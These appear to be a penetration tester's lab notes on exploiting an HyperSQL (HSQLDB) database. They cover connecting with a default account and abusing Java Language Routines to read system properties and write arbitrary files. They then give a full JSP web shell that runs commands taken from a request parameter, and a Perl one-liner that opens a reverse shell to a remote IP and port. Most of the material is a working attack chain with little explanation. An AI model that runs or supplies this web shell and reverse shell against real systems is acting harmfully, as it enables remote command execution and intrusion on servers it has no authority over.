java -cp ./hsqldb.jar org.hsqldb.util.DatabaseManagerSwing --url jdbc:hsqldb:hsql://192.168.228.126:9001/CRX --user sa --password manager99
Resource: https://hsqldb.org/doc/2.0/guide/running-chapt.html
HyperSQL Database (HSQLDB) is a modern relational database system - for Java. They support the use of Java Language Routines (JRT):
- http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_routines
JRTs can be defined as functions or procedures. Functions can be used as part of a normal SQL statement if the Java method returns a variable. If the Java method we want to call returns void, we need to use a procedure. Procedures are invoked with a CALL statement.
List of methods (Oracle Java):
- https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html (List of output variables)
- Example:
"java.class.path" Path used to find directories and JAR archives containing class files. Elements of the class path are separated by a platform-specific character specified in the path.separator property.
CREATE FUNCTION systemprop(IN key VARCHAR) RETURNS VARCHAR
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Once the function is created, we need to call it. However, functions are not the same as tables and we cannot select from them directly in a SELECT statement unless we are including a table:
VALUES(systemprop('java.class.path'))
For exploitation, we are very limited - We have the following restrictions:
- The method must be static.
- The method parameters must be primitives or types that map to SQL types.
- The method must return a primitive, an object that maps to a SQL type, or void.
- The method must run code directly or write files to the system.
- In Java, all methods must include a return type. The void keyword is used when a method does not return a value.
We need to search the codebase for a standard method with these properties.
- Before Java 9 Standard Library:
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar- https://javarevisited.blogspot.com/2015/01/what-is-rtjar-in-javajdkjre-why-its-important.html#axzz7URzG8ztU
- Cannot search specified strings in JD-GUI, so outsource and unzip to VSCode
- Regex search:
- The method must be static:
public static void \w+\(String com.sun.org.apache.xml.internal.security.utils.JavaUtilsinside /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar
- The method must be static:

+ The method parameters must be primitives or types that map to SQL types:
+ String: CHAR or VARCHAR
+ byte[]: BINARY or VARBINARY
+ return void
CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfbyte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
# Calling a function using "call"
call writeBytesToFilename('test.txt', cast ('497420776f726b656421' AS VARBINARY(1024)))
Uploading Shell
- JSP Shell from
/usr/share/webshellssince it involves JSP application - Upload to same directory where shells are chose from
- Ensure that ASCII binary payload less than 1024 bytes
- Use linux version
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Interactive Shell
use Socket;$i="192.168.119.184";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
